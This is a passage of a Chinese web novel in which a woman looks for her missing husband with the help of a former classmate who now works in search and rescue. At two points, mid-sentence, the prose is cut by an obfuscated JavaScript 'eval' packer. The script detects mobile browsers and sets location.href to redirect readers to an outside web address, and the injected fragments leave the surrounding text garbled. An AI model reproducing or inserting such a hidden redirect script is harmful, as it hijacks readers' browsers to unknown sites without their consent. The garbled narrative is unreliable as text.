他喜欢什么呢?南冬雪在客厅的地毯上躺下来。他走了,她在这个温馨的家里,失去了做任何事的欲望。 她不会去找他。她还要工作,在同事面前表现得快乐、努力,像一个正常人。她可以没有爱人,但不能没有工作。爱人没有了,还能活着,工作没有了,那就意味着没有钱,没有饭吃,没法活了。 况且,到哪里去找炽连泽呢?仅仅一个小时之前,她和那个人之间的距离不过百米,她冷漠的拒绝了他留下联系方式的要求。此后,茫茫人海,她觉得,应该不会和他有交集了。 4. 相映红 以往南冬雪会和丈夫一起步行十分钟,走到五百米外的地铁站,再分开来,她向南行,他朝北去。自从意识到丈夫失踪以后,南冬雪便在小区门口乘公交车上班。 她想,要是有可能,大概需要换一个新的城市,租一座新的房子,找一份新的工作,重新开始。她会认识从来没有见过的人,遇见一个还可以凑合过日子的男人,快速的结婚,然后生子…… 当初遇见张梧桐之前,对自己的人生已经失望透顶的她不也是这样想的吗? 当她面对张梧桐的邀约表示退却的时候,他说,“我在动物世界里看过一个故事,一头熊,一只老虎,一条狗,本来都应该是林中霸王,但因为从小受到了非人的虐待,造成了身体和心理上的残疾,他们从小就待在一块,被救下来后还希望待在一块,只有它们三个待在一起才相安无事,整天像是朋友一样一起吃饭、一起睡觉、一起晒太阳。离了谁,剩下的两个就会不吃不喝,开始生病。你见过这样的猛兽吗?我一看见你,就知道我应该能和你成为朋友。” 遇见他,南冬雪才意识到她可以完全放下过去,和别人一样追求被爱。那个人伤痕累累还能倾尽全力去爱别人,南冬雪常常对他钦佩不已,想着也要用更多的爱去温暖他,但她总是转眼就忘了,肆无忌惮的享受着被爱的感觉。 他心里的伤痕是什么呢?南冬雪直到现在为止,也没有察觉到一丁点的痕迹。他们自一开始就默契的约定,互相不去触碰对方的过去。现在,那个人消失了,南冬雪觉得,是不是因为这段时间的相处让他觉得自己没能从中得到宽慰,所以支撑不下去这份感情,悄悄的走掉了。 那房子呢?他不要了吗?她倒希望他能明确的告诉她:分手吧,请你离开我的家。 南冬雪朝窗外望着,冬天的阳光要比其他季节刺眼一些。城市昼夜之间,周而复始的运转,默不作声的把某些东西留在了过去的日子。人如蝼蚁。十年,二十年,三十年……一百年之后,世界上没有了她,也没有了张梧桐,那痛苦的一笔将不留痕迹。 这样的想法令她稍稍得到了安慰。呼出的热气在车窗玻璃上形成一团雾气,南冬雪伸手去擦。粉色的毛线手套微微一抹,玻璃洁净无瑕。 沉闷的世界打开了一个洞口。洞外的世界永远亮堂无忧。 炽连泽。这个人在洞口打开的那一刻,亮堂堂的闯进了南冬雪的视线。 他坐在一辆大G的副驾驶位,穿着橙红色制服,目视前方。给人的第一印象是温柔,且强大。 “师傅!停车!”南冬雪紧急大喊,中间位置的声音并未传送到司机耳朵里,有人帮忙喊叫,引起了一阵小小的喧闹。刚启动的车子立刻急停,南冬雪急冲冲跑下车,四处张望着,附近并没有可以马上就能乘坐的出租车,而且正是早高峰,道路拥堵。 她有些慌张,一边往大G前行的方向跑,一边在手机上打车,也要看看路边是否有可以搭乘的车辆。 这样下去,肯定没有希望了吧?已经走远了!南冬雪看见那辆车在前方拐了弯,行驶到大楼后面,她看不见它了。她往前跑,冷风直朝口鼻中灌,浑身的骨头在这种时候故意拖着后腿似的,偏偏跟不上焦急的心。追到拐角处,她的胸腔钝钝的疼,实在没法再往前猛冲一步。眼看着那辆车爬上一个大坡,消失在最高点处。 那条路尽头是一个丁字路口,那辆车要去哪里,她可猜不出来。南冬雪觉得自己总是走背运的,现在是炽连泽追不上,上班也会迟到。 她没有心情上班。刚刚那一股子追炽连泽的劲头也耗尽了。不是决定好了,不去调查丈夫失踪的真相吗?她站在原地,无神的望着远处。 一辆摩托车风一样不经意间停在她身边,头盔上露出的两只眼睛透着好奇的光,敞亮的大嗓门从面罩里喊出声来,“同学,要坐车吗?” 南冬雪心中盘算了一秒,斩钉截铁道,“坐!” “抓紧了!” 风驰电掣。南冬雪觉得身体两边的风快要把自己的骨头吹散架了,只要她稍微一松手,就要被甩出去,摔个七零八落。她只好死死的抓着前面这人的腰。 车速逐渐慢下来。前方的路坑坑洼洼,车上的人备受颠簸。最后,他在路边停下来,“到了,就在前面,你自己走过去吧。” 南冬雪下车时,车主好心的搭了一把手,目光追随着她。 “谢谢你,多少钱?” “我只要现金。”车主说。 “可是我没有现金。”南冬雪朝那条坑坑洼洼的路看了一眼,前方几百米处围了许多人,“你能不能等我一下,我去换一些钱来?” “那就不用了。我很忙,这次算我帮个朋友,再见,路上小心点。”他扭转车头,准备离开,南冬雪站在一旁,觉得这样心里过意不去,但又想不出解决办法,在包里找来找去,只有一枚戒指还算值钱。可那算是她和张梧桐的婚戒,虽然当初买的时候值一千块,但现在让出去也只能成为一文不值的废物。 车主看出她的为难,开玩笑说,“要不你亲我一下?” 南冬雪顿时变了脸色,狠狠瞪他一眼,转身朝那群人处跑过去。炽连泽乘坐的车就停在不远处。烟尘弥漫至百米高,一直有搜救人员在安全隔离带处提醒群众不要靠近。 危楼被私自改造成工厂,共振引起坍塌,造成火灾,目前大火已经扑灭,还有可能再次复燃,搜救队正在争分夺秒抢救幸存者。 南冬雪只好寻了一个安静地方等待。她一转身,无意的朝来时路上看了一眼,没想到摩托车主正靠在车上朝这边看着。这是盯上她了吗?南冬雪急急的挪到人群中,再看过去,那人已经骑着车远去了。 竟然大胆到随便坐陌生人的车?看他那眼神,就知道不怀好意吧?又没有露脸,要是真的有危险,连他的脸都没看到。南冬雪一阵后怕,拍着胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043118|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让自己冷静。 天气很冷。聚集的人群逐渐散开,只剩下遇难者家属焦急的等待消息。南冬雪走来走去,扛着冷风,不断地朝事故现场张望。 经过长达六小时的搜救,工厂中所有的人都被找到,救护车来来往往送走了最后一批受伤者。家属们也跟着全部离开。 隔离带外,只剩下南冬雪一个人。 “你在等谁?”女搜救队员看到南冬雪仍在徘徊,问话的语音慌张了一些。不会还有人没找出来了吧? “你好!”南冬雪急忙走上前去回答,猜想他们应该是同事,“我在等炽连泽。我等他工作结束出来就好。” “炽连泽啊!你是他……你们什么关系?我来帮你和他打声招呼,让他早点出来。”女孩松了一口气,脸上微微疲惫,眼里保持着对别人的友好。 “我是他同学,没关系的,我可以等他工作结束自己出来。”南冬雪说。 “我看你已经等了一天了,你是不是叫南冬雪?” “你怎么知道?”南冬雪惊诧。 女队员却收到了集合的信息,顾不上和南冬雪聊这个话题。她把南冬雪带到那辆大G旁边,告诉她炽连泽马上就过来。 “不要乱跑,这里还是很危险的。” 女队员刚走,南冬雪就看见炽连泽的身影一点点爬上了地平线。他只顾着低头走路,灰尘仆仆,极其疲惫,脸上透着不耐烦。和上午一瞥而过中的印象天差地别。南冬雪内疚,他做着如此辛苦、人命关天的工作,她却为了自己的私事来麻烦他。 所谓的理智决定,无法战胜她已经被爱情迷惑了的一颗心。当她认为再次见到炽连泽的机会很是渺茫时,是理智的。当炽连泽出现时,她内心真实的想法冲破了理智的压制。她无法舍弃掉这一点点希望,所以要紧紧抓住。 南冬雪朝炽连泽挥手。他没有看见。南冬雪着急的朝他跑过去,更快一点,就离丈夫的失踪真相更近一点。 炽连泽察觉到面前那个小人儿像小蘑菇一样蹦跶过来时,愣了愣,随即以更快的速度朝南冬雪奔去。 天色呈现一种浅浅的灰蓝色,夕阳的余晖尚未消失殆尽。但临近夜幕的冬日,这个时间已经万籁俱寂。 紫藤架下,两人奔赴向彼此。破败不堪里,火热的心无所不惧。只是,两人并非心心相印。 距离炽连泽大概五米的距离时,南冬雪停下来,炽连泽也慢下来。她因着昨天的冷漠,今天又腆着一张脸来求助十分尴尬,陪着笑,同他搭话。刚刚张开了嘴巴,炽连泽抬手虚虚的揽着南冬雪的肩膀,带她远离了紫藤花架,解释说,“那边危险。” 话音未落,南冬雪脚下不知绊倒了什么,她眼看着炽连泽一脸惊恐的抬头,尚不知发生了什么,下一秒被他结结实实揽进了怀里,转了半圈,倒在地上。 南冬雪的后脑勺枕在了炽连泽的手上,男上女下,一根木桩正砸下来。 5. 落英缤纷 南冬雪吓得闭上了眼睛。炽连泽的上半身趴得更低了一些,他身上的热量瞬间包裹了她的脸,南冬雪听见炽连泽喉咙里发出一声闷哼,很快,她又睁开了眼睛,看见炽连泽正扛着那木桩直起上半身,接着背部抖了一下,把那木桩从身上抖下去,从她脑下抽出了手,爬起来后,把木桩踹远,扶南冬雪起来。 “你看,我就说危险吧!” 言语之间不无得意。 南冬雪暗自无语。这危险不是你自己造成的吗?她往炽连泽脖子后面看了看,担心的问,“你没事吗?” “没事!”炽连泽骄傲道,要是他有尾巴,肯定像孔雀开屏一样了。“它已经朽了,没什么重量。” 南冬雪担心他如此小看了外物伤害,到最后受了重伤而不自知。但他这个样子,自己并没有立场去劝说。 “嘿~你怎么找到我的?怪不得你不愿意给我留个电话什么的,只要你想找我就找到了是不是?你怎么知道我在这儿的?南冬雪,你可真牛!这么多年没见,你知道吗?刚才距离那么远,我一下子就认出你来了!” 开开心心的语气却让别人想起伤心事,南冬雪平淡的眼神中突然多了几分质问的味道,炽连泽连忙转了话头,“哎,我可想你了,真的。要不先去吃饭吧?我快饿死了。你饿不饿?” “希望你尊重我,我已经结婚了。”不可以胡乱说“想你”这种没有分寸的话。南冬雪看向别处,从包里摸出那封信来。 “哦,对不起。”炽连泽抑制不住的兴奋顿时偃旗息鼓,露出了疲惫的神情。“你来找我什么事?” “我想问问你,这封信是你写的吗?”南冬雪一手扶着塑封袋的右上角,一手扶着左下角,呈给炽连泽看,郑重其事的问。 炽连泽的眼里一下子又有了光,张牙舞爪的把信夺过去,举到高处看了信,又看南冬雪,来回几次,“这是什么?亲爱的……呦,这么肉麻吗?2014年,哈?你还留着这个啊?竟然是我写的吗?南冬雪,你这个人背地里这么重感情呢?2014年,我都差点忘了,这是几年……十年前,那时候,我们还在一块上学吧?” “这封信是你写的?”她想要一个确切的答案,是,或者不是。 “你什么时候结婚的?我说你真没有心,连家也不回,我都不知道该去哪里找你。结婚也没想过要请我!你原谅我了吗?你是不是还没原谅我?”炽连泽扭头看她,等待一个答案。 “我问你,这封信是不是你写的?” “你老公……”炽连泽表情卑微的靠近南冬雪,警惕着周围,小声的询问,“你老公,是不是死了?我听见那个大姐说你哭错坟了,怎么回事?” “你老公才死了!”南冬雪猛地踩了炽连泽一脚。心里想到,那天,炽连泽也在那里吗?他都看到了?包括她的狼狈样子?“我问你什么你就回答什么,好吗?这封信,是不是你写的?2014年7月1号那天,是不是你写的?!” “你声音好大!我耳朵差点聋了!”炽连泽掏了掏耳朵,不小心从肩膀上扣下一股子灰尘来,“不好意思,身上都是灰,也蹭到你身上了,我给你拍一拍。” “炽连泽。”南冬雪忍受着他用那封信给自己的后背拍尘土,憋足了气息慢慢叫出他的名字。炽连泽一脸无辜的静止了动作,眼睁睁被粗鲁的抢走了自封袋,被训斥,“这封信是不是你在2014年7月1号那天写的?是不是你写的?” 声音越来越大。好像炽连泽不正面回答问题是因为他听不见似的。 “不是。”炽连泽胆小无助,认真的回答。 南冬雪眼里的光瞬间黯淡下来,被炽连泽惹出来的火气也一下子熄灭了。 “你那么爱他吗?” “你不爱吗?” 炽连泽一怔。 “我是说,你不爱你的妻子吗?” “我没有妻子,还没结婚。”炽连泽乖乖的回答。看着她的样子,他想到半个月前偶然在张梧桐家门口看到她的时候。从南冬雪这里,他体会到了更深层次的心疼是什么感觉。他好像爱上了这种感觉,想要时不时刺激自己一下,让自己明白,他还不那么傻。“也没有女朋友。” 南冬雪想起一件在英文课堂上发生过的事情。老师让同学们以“幻想同桌未来的样子”为题写一段话,那天她和炽连泽闹别扭,写的内容大概是:炽连泽会成为一名红遍大江南北的歌手,但不会有一个好妻子。 “那和我有什么关系?”南冬雪有点尖酸刻薄的说。一句玩笑话就能诅咒成真的话,她希望张梧桐能立刻出现在这里,带她回家。 “哎……你等等,别着急走啊,我还没说完呢,你怎么还是不肯原谅我?事情都过去这么久了……”炽连泽揪住了南冬雪的衣服帽子,“我也写了道歉信不是吗?我再次向你道歉,好不好?” 南冬雪怨恨的眼神投过来,直勾勾盯着炽连泽。她在别人面前乖巧如绵羊,可怜巴巴引发同情心,唯有面对炽连泽时,如此凶巴巴,横眉冷对。 “是你写的?” 四个字问得炽连泽心惊胆战。这是真生气了!炽连泽拉着她帽子的手松开来,心虚的厚脸皮笑着,强词夺理道,“是我在前一天写的……写到了凌晨,也算前一天……不是2014年7月1号。” 声音越来越小。她真想揍这人一顿,奈何没有实力,只好忍着,和颜悦色转过身来继续问,“确定是你写的吗?那我问问哦,你记不记得当时我们学校有一个叫张梧桐的人呢?” 炽连泽拉着南冬雪的胳膊,把那封信扭转过来,方便他去读。他弯下腰来再仔细看了一遍,笃定道,“是我写的,我记得。你为什么现在才拿出来问?” “老实和你说,不过你不要生气,你那天把它给我之后,我没有看,扔到垃圾桶了。前段时间我对象……我老公他不知道去了哪里,找也找不到,昨天在他房间里翻出了这个,你不觉得很奇怪吗?他怎么能拿到这封信?你说对不对?能拿到这封信,说明肯定是我们班的,但我印象中没有这个名字的同学,再扩大点范围,可能是隔壁班,我们学校的人,你认识的人多,我想问问你,记得有一个叫作张梧桐的人吗?或者,你看看这张照片,有没有长得很像的人?” 南冬雪从手机里翻出两人的合照给炽连泽看。 炽连泽脸上露出窃喜的表情,只不过南冬雪这时还没有看懂。她对炽连泽的答案怀着巨大的希望。而这位看起来聪明,实际上不怎么聪明的同学接过了南冬雪的手机,嘴上说着,“我看看”,实际上只瞥了一眼,就退出相册,翻出手机通讯录,输入了一个号码,接着他口袋里的手机铃声响了。 “你在干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043119|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?”南冬雪急得快要吐血,发觉炽连泽是在自己手机上存他的号码,忍着怒火轻轻把手机拿过来,用乞求的眼神看着他,“你可不可以回答我一下?你是不是知道些什么?” 炽连泽的眼神透着一种“你的命脉都掌握在我的手里,看你怎么蹦跶”的心思,脸上不觉显出笑意,维持着做人的礼貌不怀好意的夸奖,“南冬雪你进步了啊,怎么能一口气说那么多话,逻辑还挺清晰的哈。你看了这封信原谅我了吗?我觉得,你根本不在乎,是不是?你到底原谅我了吗?” 南冬雪咬了咬牙,平静的点头,“你没有做错什么事,不需要我的原谅,可以告诉我你有关于这个人的印象了吗?” 炽连泽揣摩许久,微微皱着眉毛,看起来是在仔细回想。 南冬雪耐心的等着,期待着。 “我觉得,你找人的方式有点钻牛角尖。” 被一个不聪明的人批评了,那百分百没有希望。 南冬雪泄了气,把手机揣回兜里,瞥了眼手上的自封袋里那封信,快走几步,嫌弃的塞进旁边的垃圾桶里,扭头就走。 熟悉的记忆又回来了。 炽连泽连忙把那封信从垃圾桶刨出来,追上南冬雪。迎面吹来的风有一些大,他转身挡到了南冬雪面前,把那封信往她包里塞,连声道歉,“对不起,对不起,我真是没想起来那时候学校里有这个人。这不是你那失踪的老公留下来的东西吗?怎么能说扔就扔?扔了之后回家了又偷偷的怪我把你给气着了是不是?” 失踪的老公留下来的东西?炽连泽把自己给说笑了。 又苦涩又好笑。不知是因为风太大,还是触动了内心的某一处痛点,炽连泽觉得自己的鼻尖酸酸的,眼睛湿润。 “我也很难过,看你过得不好,我也很难过。”炽连泽有些手足无措,慌不择言,“我来帮你找吧,这是我的特长、我的工作,我现在是搜救队员,放心好了,我绝对帮你找到你老公。” 南冬雪的视线“唰”地一下上移到炽连泽脸上,像是打开了一道屏蔽的门,“我老公没有音信之前,我过得很好,谢谢关心。” 南冬雪气呼呼跑了。 她这是拒绝了,还是答应让他帮忙找人了?炽连泽突然发出“啊”的一声,身体支撑不住,面门朝下倒在地上。 正好附近有他的同事正朝这边走来,三五秒就跨过一条干涸的沟渠赶过来,扶起炽连泽。众人拍他的脸,掐人中,七嘴八舌的出主意。 炽连泽装不下去,贱兮兮的睁开眼睛,冲大家呵呵笑,“我没事,在假装晕倒,看她会不会回来关心我哈哈……” 大家的目光齐齐投向刚刚来到眼前的南冬雪身上,尴尬,无止境。一人急中生智,连忙把炽连泽按倒,努力恢复刚刚那紧张的气氛,慌忙喊道,“快!快来做心脏复苏,谁来给他做人工呼吸!” 尴尬,上天入地。炽连泽从同事的七八双手里挣脱出来,坐在地上看着南冬雪小小的身影越来越远。前面又没人等她。 “别看了,还有收尾工作。”一双手套拍打在炽连泽的头盔上,灰尘扬了他满脸。 “队长,队长,我可不可以去送一下我好朋友?很快就回来。” “去吧,去吧,开着车去,可以吃过饭再回来。” 他看不得南冬雪可怜。 6. 勿折花 上午追逐的那辆大G在南冬雪身边急刹车停下,炽连泽从驾驶位跳下来,拦在南冬雪面前。借着微弱的路灯,他看见南冬雪那一双不停流泪的眼睛。 南冬雪一边绕开他,一边粗鲁的抹掉眼泪,继续往前走。 炽连泽一把拉住了她,瘦弱的人儿拎在手里几乎没有重量。他本打算好好道歉,但外面这么冷,又看她精神状态不佳,也听见她肚子在咕咕叫,便一鼓作气强行把人塞进车里。 他扔给她一包纸巾,又从后座摸来两颗巧克力丢进南冬雪怀里,替她系上安全带,而后启动了车子。 “你先擦一擦,吃点东西,我送你回家。”炽连泽开车的同时,常常抽空看一眼副驾驶位上坐着的人。 “我和你讲了。”南冬雪正在擦脸,一开口情绪又崩溃,控制不住,于是将脸埋在纸巾中。 “什么?你慢慢说。” “我已经结婚了,不要对我动手动脚,好吗?我男朋友……我老公他失踪了,我很难过,你干嘛一直嬉皮笑脸的?我很难过,你就幸灾乐祸了是吗?你怎么还是这么恶毒?”唯独面对炽连泽,她的指责、她的怨恨才能说出口。 不知道这是以前的习惯,还是因为他是认识了很久的人,所以无所谓自己的形象有损。 “对不起。”炽连泽小心转弯,将车开得极稳。再看了一眼南冬雪,坏心眼的扬起了嘴角,“别哭了,要是被别人看见,我怕是会被你害得进局子。” 南冬雪果然擦干了脸,靠在椅背上仰着头,和自己赌气似的愤愤的剥开了一颗巧克力放进口中,左边脸颊鼓鼓的。 她还是和以前一样。最担心给别人添麻烦。 既然她冷静下来,炽连泽开始为自己讨个说法,“嬉皮笑脸是我不对,我见到你太开心了嘛!谁能想到你和你老公感情这么好。但是吧,对你动手动脚这事,我觉得你说得过分了。是你那老公管你管得太严了吗?和你表叔说说话也不行?还是说你家人管你太苛刻了?和男人走在一起就觉得是伤风败俗,不得了了?还是说,你就只针对我?唉……我没想到你沦落到这地步。啧……我是说,动手动脚这事。我不是你表叔吗?你有困难,关心关心你是应该的吧?” “根本不是表叔。”南冬雪委屈嘟囔着。 “你叫一声那就是了。” 十多年以前,关于表叔的争论,也是这样的对话,一字未变。实际上,南冬雪比他还要大上三个月。 “放心,我说了帮你找一定帮你找。” 炽连泽说这话时的认真程度,引得南冬雪特意扭过头来看了他一眼。 “回家之前,请我吃顿饭吧?你家小区门口那家手工面不错。” 店内客满为患,老板娘大声吆喝着,在狭窄的过道内来来回回走,看见两个年轻人走进来,帮他们安排了位置就忙着去招呼别人。过了一会儿,又走过来,“两位,吃点什么?” “一碗牛肉面。”南冬雪说。 “什么?”老板娘的声音陡然增大,一边大声吼着,一边把耳朵凑近南冬雪的嘴巴。 “我来我来!”炽连泽扫了一眼菜单,“两个大碗牛肉面,加一盘牛肉。只要葱花,不要香菜。” 只要葱花,不要香菜。也是南冬雪的习惯。 老板娘立马向厨房传话。南冬雪觉得为难,“我吃不完。” 一向微弱的声音,炽连泽却听到了,“没关系。是不是饿了一天了?” “你怎么知道?”南冬雪难为情,又要被人同情了吧?她要不要解释一句,不是因为她吃不起饭? “同事和我说的。”炽连泽起身离开,不一会儿端过来两碗热气腾腾的面汤,先把其中一碗放在南冬雪面前,“快点喝口汤,暖暖身子。” 炽连泽是知道的,南冬雪的执拗不是一年半载能治好的。这不,过了十年也没治好。她完全可以留下电话号码,回去等着他回电。或者改天去单位找他。前一天还对他爱搭不理,后一天就需要求人了。过了这么多年,她也没学会“凡事留一线,日后好相见”这个道理。幸而是他,大人大量不计较,要是换了别人,肯定让她吃吃闭门羹才好。 这话肯定不能说出来,不然又惹得人生气。炽连泽烦躁地脱掉了外套,盯着南冬雪,几次欲言又止。 她来找他,就为了那封信?她说她那时候没看,直接扔掉了。亏她能说得出来这句话?!难道她不知道这句话说出来有多伤人吗?找老公找到这份上,怎么这么傻啊?除了学习,其他事情上,南冬雪就是傻傻的,很多人都不喜欢她。 “你怎么这么看我?”被炽连泽直勾勾盯着,一副恨铁不成钢的样子,南冬雪叛逆心起,只想当场走人。奈何刚被人好心送了回来,她不能不识好歹。 “没有,没有。”炽连泽陪着笑脸,掩饰内心对她的种种指责,“多年不见,变漂亮了。” “这是你该说的话吗?” “哦,对不起,对不起。”炽连泽低头,虚心改正。 不一会儿,面和肉上齐了。装面的碗比南冬雪的脸大上一倍。 “吃吧吃吧,饿了一天了,慢慢吃。”炽连泽拿了一双新的筷子,把牛肉往南冬雪的碗了扒拉了一大半。 南冬雪有些嫌弃,拿筷子的手耷拉在碗边,泄气的盯着那快装满整只大碗的面和肉。 炽连泽看她这样,这时候才不安起来,但迟钝了几秒仍然硬着头皮,拿出表叔的身份教训起来,“慢慢吃呗,吃不完我帮你解决,我不嫌弃。看看你,这么瘦,也没长高。和你一块读书的时候,就整天喊你多吃点,多吃点,女孩子也要长个子,长力气,你是不是不听?” 说到这里,他忽然想起来,这话说错了。不是南冬雪不多吃东西补身体,是她家庭条件不允许。这一晃十年,他差点忘了。 ”一阵风都能把你吹倒,你还不多吃点?你那……” 他的话生生咽了下去。他没有资格批评人家老公,更何况那个人的失踪,惹得南冬雪很难过了,他不能在南冬雪好不容易开始吃香喷喷的饭的时候倒人胃口。这点他还是明白的。 男人失踪,大概率是没做好事。他也不会说出来。 剩下的肉继续加进南冬雪的碗里。她眉头皱着,怨他,“吃不完了。” 炽连泽很会见机行事,把自己的碗推过去,“来来来,你把面给我,把肉吃完,把汤喝完就好了。” 南冬雪把碗圈在怀里,继续往嘴里送面。 她为了避嫌,不给炽连泽吃她剩饭的机会,把那一碗面和一盘肉全部吃光了,露出饱腹一顿、心满意足的表情,又喝掉了剩下的汤。 看她这样,不是能吃完吗?炽连泽笑吟吟道别,“那我就先走了,记得付账。” 面店对面就是南冬雪所住的小区。她不愿意和他一起出门,等炽连泽离开五分钟之后,她去结账,被告知饭钱已经付了。 这不是耍我吗?南冬雪心想。刚走出店门,老板娘就追上来,递过来一个皮夹,“这是你们的东西吗?落在座位上了!” 南冬雪想说不是,老板娘已经回店里去忙了。她把皮夹打开,看到了一张身份证,几张银行卡。 笨蛋炽连泽,丢三落四。想着他应该还没走远,手机里也有他的电话,南冬雪拨通了那个号码。 电话那头的音乐调子十分耳熟,但南冬雪一时想不起来在哪里听过。她对音乐不敏感,无论听多少遍,都记不住曲调。 “到家了?”炽连泽一接通电话第一句话说。 “你的钱包落在店里了,过来拿一下吧。” “我知道,改天去找你拿,先帮我保存一下。” 挂了电话,南冬雪不由得琢磨。她总觉得不对劲。炽连泽说他知道,那是什么意思?直到打开家门的那一刻,她恍然大悟,炽连泽是故意把钱包留下来的。 他在车上从后座拿巧克力时,她的余光瞥见他随手把钱包扔远了。当他准备离开饭店之 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听着同事们讲家长里短。最近搬了新家之类的喜事,攒够了钱就去旅游,男朋友准备了惊喜等等,日子有滋有味,有盼头。南冬雪仅仅是听着别人的幸福,也觉得心满意足,不至于陷进自己的痛苦中去。 一个刚刚大学毕业的女孩子,姓熊,大家称她为“小熊”。她正站起来舒展筋骨,往窗外瞥了一眼,忽然惊喜,轻轻拍了拍南冬雪面前的文件堆,提醒她往窗外看。 “你看,那边有一个帅哥。” 两人的工位面对面,小熊人缘好,开朗大方,和周围的人关系都不错。有了什么事情,总是先向身边的琪琪和对面的南冬雪分享。小熊的话刚说完,琪琪也主动凑过来,趴在窗口上往楼下看。 这种时候,就算南冬雪没有兴趣,也会跟着去凑热闹,好在同事面前塑造一个简简单单的正常人形象。 小熊和琪琪顶着花痴脸,用手机左拍右拍一通之后,还是舍不得移开目光。 “是不是很帅?”小熊说。 “是啊是啊!你觉得他有一米八吗?” “有吧,皮肤又白,为什么站在那里啊?大街上还能看见这么优质的男生,真是奇观。南南,你看到了没?” “看到了,确实很帅。不过,那个人不是销售吗?” “什么啊?你看哪里去了,我说的是穿了一身西装的那个。你看看,太迷人了,好像大明星。” 南冬雪摸来眼镜戴上,再次往楼下扫了一圈。 人来人往,穿西装的人只有一位。从8层楼上眺望过去,那人宛如一丁豆角,不过凭借那优越的身材和打扮,仍然鹤立鸡群。 男人用脚在原地捻着什么东西,转了半圈之后,面对着大楼,抬头望来。 小熊和琪琪吓得连忙坐下,生怕被人发现她们在偷窥。南冬雪也摘掉了眼镜,坐下来继续工作。 那个人抬头的那一瞬,她看清了他的脸,不就是炽连泽吗?他的钱包还放在自己包里,不过他要是不打电话讨要,她不会主动去找他。 距离下班时间还有十分钟。办公室里每到这个时候就开始窸窸窣窣起来,有人整理桌子,有人喝水,有人聊天。 下班后独处的痛苦已经像是水从破掉的水管里悄悄漫过来,南冬雪敲击键盘的速度越来越快。她越是想要把即将面对的自我赶走,就越是被缠得更紧。张梧桐还在的时候,她也会迫不及待的收拾东西,准备下班。 那个时候,张梧桐每天都会在楼下等她,正是炽连泽刚刚所站的位置。 “南南!” 小熊喊她。南冬雪恍如梦中惊醒,浑身一个激灵。漫出来的水瞬间蒸发了,纠缠不已的网溃散开来,释放出一个简简单单、无忧无虑、努力工作的一个年轻女子。 “啊?什么事?” 语调是欢快的,扯着脖子张望对面人的那张脸是调皮可爱的。 “最近不见你老公来接你了诶。” “哦,他出差了,要很久才能回来。”南冬雪盯着电脑屏幕撒谎。 7. 少时恨 南冬雪走出大楼时,便看到炽连泽仍然在那里站着。原本要往相反的方向去,看到他打来电话后才转到炽连泽所在的方向来。她一边看着炽连泽,一边接通了电话。他刚说完一句话,就从众多人里锁定了南冬雪的身影。 “我是来找你的。”炽连泽说。“怎么这么久?别人都走光了。等得我好冷。” “你怎么知道我在这里上班?我以为你在这儿是为了别的事。” “你那天背的包上有你们公司的名称和LOGO,上网一查就知道了,我聪明吧?” 炽连泽一再保证要帮她寻找张梧桐,但她没有主动告诉他有关失踪者的信息,他也没有问。三天过去了,南冬雪以为这件事到此为止,不会再被人提起。他是为了拿自己的钱包而来。 四目遥遥相望,谁也没有停止通话。两人向对方缓缓走去,一直等到面对面,仅隔一步之遥,南冬雪先按下了结束通话键,把炽连泽的钱包拿出来递给他。 炽连泽不接,转身顺着南冬雪前行的方向继续走,南冬雪也跟上去。 “你先拿着,等我需要的时候再找你要。” 南冬雪投去疑惑的眼神质问,炽连泽忙转移话题,“我这几天问了很多人,要告诉你一个不好的消息。” 南冬雪停下来,静静等着他继续说。 “你丈夫张梧桐和山上遇难的张梧桐不是一个人。” 南冬雪面无表情,“我知道。” “你那天去的墓园,只有一个张梧桐,所以你……”炽连泽的脑子似乎有些转不过来了,但还是要凑上来分析,“我去问了遇难者他家周围的邻居,也问了一圈你家周围的常居人口,你去墓园悼念的张梧桐在过去近十个月的时间里,不在这个城市。而你丈夫张梧桐,也很奇怪,你家周围的人都说不记得了,附近商铺的监控从来没有拍到过他的正脸。知道你家小区门口的保安大哥说什么吗?他起先和我说,是有个人整天和你成双入对,但我把张梧桐的照片给他看的时候,他说记错了,没有见过这个人,倒是记得你早出晚归,是不是两个人一起没有印象了。我也去整容医院查过,没有这样一张脸。你觉得这是为什么呢?” 南冬雪无语。调查了一通只得到这样的结果?丝毫没有可信度。她忍耐着对方的滑稽表演,哄着他玩儿,也保存着最后一丝希望,“他是出版社的美工……” 话音未落,炽连泽抢先道,“我询问了本市大大小小各家媒体、包括公众号,出版社,连同与出版业相关的组织机构,一共三百五十六家,没有张梧桐这个人的任职记录。” 南冬雪这一次把钱包强行塞进他怀里,松了手,对人客气礼貌的笑着,“谢谢你,辛苦了。”低头撩了一丝头发挂到耳后,继续说,“不需要找了,本来也是和你没有关系的事情,那我们……有缘再见吧。这样可以吗?” 南冬雪见炽连泽有些愣了,尴尬的挥了挥手,往后退两步,再转身向前走,不再顾他是不是同意这样结束。 到此为止,就此别过。那个人不回来,没有关系,她能接受。他没有出现的时候,不是一样的生活着吗?他离开了,那就从头再来而已,对她来说,只是需要花一点时间来适应。 现在,她已经能独自一人,在下班后慢悠悠的逛完超市,买了菜回家给自己做饭吃,躺在沙发上看电视,按时睡觉,起床,上班,如此循环。 炽连泽疾走两步挡在南冬雪面前,气势是咄咄逼人的,眼神是楚楚可怜的,“你有什么话,和我说清楚可以吗?” 